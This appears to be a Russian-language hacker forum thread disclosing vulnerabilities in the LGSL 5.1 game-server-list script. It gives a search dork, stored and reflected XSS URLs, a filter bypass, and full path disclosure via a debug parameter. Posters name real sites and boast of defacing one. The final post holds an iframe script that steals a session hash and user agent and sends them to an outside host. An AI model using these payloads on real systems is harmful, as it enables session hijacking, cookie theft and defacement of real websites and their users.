Продукт: LGSL 5.1 By Richard Perry Описание: Live Game Server List Дорк: "LGSL 5.1 By Richard Perry" 1. aXSS активная xss существует из-за неправильной проверки переменной $request, передаваемой через GET. в /lgsl_files/lgsl_class.php если в значении переменной $request есть символ "а", то будет произведена запись в бд. PHP: function lgsl_query_cached($type, $ip, $c_port, $q_port, $s_port, $request) { ... if (strpos($request, "a") !== FALSE) { $mysql_query = "INSERT INTO `{$lgsl_config['db']['prefix']}{$lgsl_config['db']['table']}` (`type`,`ip`,`c_port`,`q_port`,`s_port`,`cache`,`cache_time`) VALUES ('{$type}','{$ip}','{$c_port}','{$q_port}','{$s_port}','','')"; $mysql_result = mysql_query($mysql_query) or die(mysql_error()); $mysql_row['id'] = mysql_insert_id(); ... Запись в бд разрешена только админу. Но можно это сделать и не имея его прав. в файле /lgsl_files/lgsl_feed.php производится обрезание симола "а". PHP: ... require "lgsl_class.php"; ... $request = $lgsl_config['public_feed'] ? $request."a" : str_replace("a", "", $request); ... Эту фильтрацию можно обойти. exploit: Code: /lgsl_files/lgsl_feed.php?type=rfactor&ip=bestserver<script>alert(1)</script>&c_port=2&q_port=32&s_port=4&request[]=5 значение переданной переменной request будет Array(тк не указан индекс массива), а функцией lgsl_query_cached() будет найден символ "а" и произойдет запись в бд. example: Code: http://www.greycube.com/site/e107_plugins/lgsl/?s=1151 от меня там синяя надпись "hacked by hacker". криво получилось) поломал им всю статистику =\ Эта статистика ставится совместно с e107 0.7+, Joomla 1.5+, PHP Nuke и др (как написано в документации). Соответственно, можно получить многавкусныхкуков. 2. pXSS Code: http://lgsl/lgsl_files/lgsl_export.php?output=%3Cscript%3Ealert(1)%3C/script%3E Code: http://lgsl/lgsl_files/lgsl_feed.php?type=%3Cscript%3Ealert(/type/)%3C/script%3E&ip=1&c_port=2&q_port=3&s_port=4&request=5 3. Full path disclosure Code: http://lgsl/lgsl_files/lgsl_feed.php?type[]=rfactor&ip=ip&c_port=2&q_port=32&s_port=4&request=5 Code: http://lgsl/lgsl_files/lgsl_feed.php?type=rfactor&ip[]=1&c_port=2&q_port=3&s_port=4&request=5
мигом посмотрел.. XSS /admin.php Code: <form method='post' action='{$_SERVER['PHP_SELF']}' id='lgsl_admin_auth'> exploit: Code: /admin.php/'><script>alert(document.cookie);</script> работает только в админа, из-за проверки p.s.: 2. pXSS в lgsl_feed.php ксс можно произвести не только через п-тр type , но и через ip и через request Code: /lgsl/lgsl_files/lgsl_feed.php?type=1&ip=<hr>&c_port=3&q_port=4&s_port=5&request=6&xml=7 /lgsl/lgsl_files/lgsl_feed.php?type=ut&ip=2&c_port=3&q_port=4&s_port=5&request=<hr>
3. Full path disclosure доступен, из-за дебаг-режима lgsl\lgsl_files\lgsl_class.php: PHP: if ($_GET['lgsl_debug']) { echo "<hr /><pre>".print_r($_SERVER, TRUE)."</pre> <hr />#0# ".realpath($_SERVER['DOCUMENT_ROOT'])." <hr />#1# ".__FILE__." <hr />#2# ".realpath(__FILE__)." <hr />#3# ".dirname(realpath(__FILE__))." <hr />#4# {$lgsl_file_path}"; } use: добавляем к любой страничке GET параметр: &lgsl_debug=1 пример: Code: http://www.oghf.org.uk/e107_plugins/lgsl/lgsl_files/lgsl_class.php?lgsl_debug=bl0 http://www.oghf.org.uk/e107_plugins/lgsl/?lgsl_debug=bl0 http://www.greycube.com/site/e107_plugins/lgsl/?lgsl_debug=bl0
Code: <iframe name=ifr id=ifr src=http://site.net/lgsl_files/lgsl_export.php?lgsl_debug=1></iframe><script>function getframe(){str=(ifr.document.body.innerHTML);res=(str.match(/(ssionhash=)((.){32})/m));rs=(str.match(/(HTTP_USER_AGENT\] => )(.*)/m));img = new Image();img.src = "http://mysite.net?text="+rs[2]+"~bbsessionhash="+res[2]}setTimeout('getframe()',500)</script> например через iframe получить защищенные данные в дебаг режиме. и через регулярку получить то, что нужно